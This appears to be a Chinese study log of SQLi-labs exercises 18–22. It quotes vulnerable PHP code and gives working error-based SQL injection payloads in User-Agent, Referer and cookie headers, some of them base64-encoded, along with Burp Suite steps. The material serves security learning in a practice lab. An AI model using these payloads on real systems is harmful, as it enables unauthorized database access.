本文记录 SQL 注入的学习过程,资料为 SQLi
Less - 18: POSt - Header injection- Uagent field - Error vased
测试漏洞
源代码
$uname = check_input($_POST['uname']); $passwd = check_input($_POST['passwd']); # uname 和passwd 进行了check_input()函数的处理 $insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)"; mysql_query($insert); # Ip 地址我们这里修改不是很方便,但是useragent 修改较为方便,我们从 user-agent 入手我们利用 burpsuite 进行抓包改包
在浏览器输入正确的用户名和密码 admin:admin
使用 burpsuite 进行截断,之后修改 HTTP 头的 User-Agent
结果在浏览器显示出了 User-Agent
User-Agent 注入
User-Agent: 'and extractvalue(1,concat(0x7e,(select @@version),0x7e)) and '1'='1
低版本的 mysql 不支持这个 extractvalue() 函数
Less - 19: POSt - Header Injection - Referer field - Error basesd
测试漏洞
源代码
$uname = check_input($_POST['uname']); $passwd = check_input($_POST['passwd']); # uname 和passwd 进行了check_input()函数的处理 $insert="INSERT INTO `security`.`referers` (`referer`, `ip_address`) VALUES ('$uagent', '$IP')"; mysql_query($insert); # Ip 地址我们这里修改不是很方便,但是 referer 修改较为方便,我们从 referer 入手我们利用 burpsuite 进行抓包改包
在浏览器输入正确的用户名和密码 admin:admin
使用 burpsuite 进行截断,之后修改 HTTP 头的 referer
结果在浏览器显示出了 referer
Referer 注入
Referer: 'and extractvalue(1,concat(0x7e,(select @@basedir),0x7e)) and '1'='1
低版本的 mysql 不支持这个 extractvalue() 函数
Less - 20: POST - Cookie Injection - Uagent field - Error based
测试漏洞
源代码
$uname = check_input($_POST['uname']); $passwd = check_input($_POST['passwd']); # uname 和passwd 进行了check_input()函数的处理 $sql="SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1"; $result1 = mysql_query($sql); $row1 = mysql_fetch_array($result1); $cookee = $row1['username']; if($row1) { setcookie('uname', $cookee, time()+3600); header ('Location: index.php'); } # 从源代码中我们可以看到 cookie 从 username 中获得值后,当再次刷新时,会从 cookie 中读取 username,然后进行查询。 # 登录成功后,我们修改 cookie,再次刷新时,这时候sql 语句就会被修改了。我们使用 temper data 进行演示。
在浏览器输入正确的用户名和密码 admin:admin
修改 cookie 值为
uname=1'and extractvalue(1,concat(0x7e,(select @@basedir),0x7e))#
结果显示为版本号。
使用 burpsuite-reperter 抓包添加一行 cookie 值
Less - 21: Cookie Injection - Base64 Encoded - Single Quote and Parenthesis
测试漏洞
本关对 cookie 进行了 base64 的处理,其他的处理流程和 less20 是一样的。
源代码
$uname = check_input($_POST['uname']); $passwd = check_input($_POST['passwd']); # uname 和passwd 进行了check_input()函数的处理 $sql="SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1"; $result1 = mysql_query($sql); $row1 = mysql_fetch_array($result1); if($row1) { setcookie('uname', base64_encode($row1['username']), time()+3600); header ('Location: index.php'); }
我们这里可以利用 less20 同样的方法,但是需要将 payload 进行 base64 编码处理(注意这里对uname 进行了(‘uname’)的处理)
Cookie:
uname=YWRtaW4xJylhbmQgZXh0cmFjdHZhbHVlKDEsY29uY2F0KDB4N2UsKHNlbGVjdCBAQGJhc2VkaXIpLDB4N2UpKSM=
在浏览器输入正确的用户名和密码 admin:admin
修改 cookie 值为
uname=admin1'and extractvalue(1,concat(0x7e,(select @@basedir),0x7e))#
结果显示为版本号。
Less - 22: Cookie Injection - Base64 Encoded - Double Quotes
测试漏洞
本关对cookie 进行了 base64 的处理,其他的处理流程和 less20 是一样的。
源代码
$uname = check_input($_POST['uname']); $passwd = check_input($_POST['passwd']); # uname 和passwd 进行了check_input()函数的处理 $sql="SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1"; $result1 = mysql_query($sql); $row1 = mysql_fetch_array($result1); if($row1) { setcookie('uname', base64_encode($row1['username']), time()+3600); header ('Location: index.php'); }
本关和 less20、less21 是一致的,我们可以从源代码中看到这里对 uname 进行了 ”uname” 的处理,可以构造payload:
admin1"and extractvalue(1,concat(0x7e,(select database()),0x7e))# # base64 编码之后: cookie: YWRtaW4xImFuZCBleHRyYWN0dmFsdWUoMSxjb25jYXQoMHg3ZSwoc2VsZWN0IGRhdGFiYXNlKCkpLDB4N2UpKSM=
Payload 进行 base64 编码后,修改 cookie 再进行提交
可以看到数据库名为 security
其他的payload 请自行发散思维进行构造。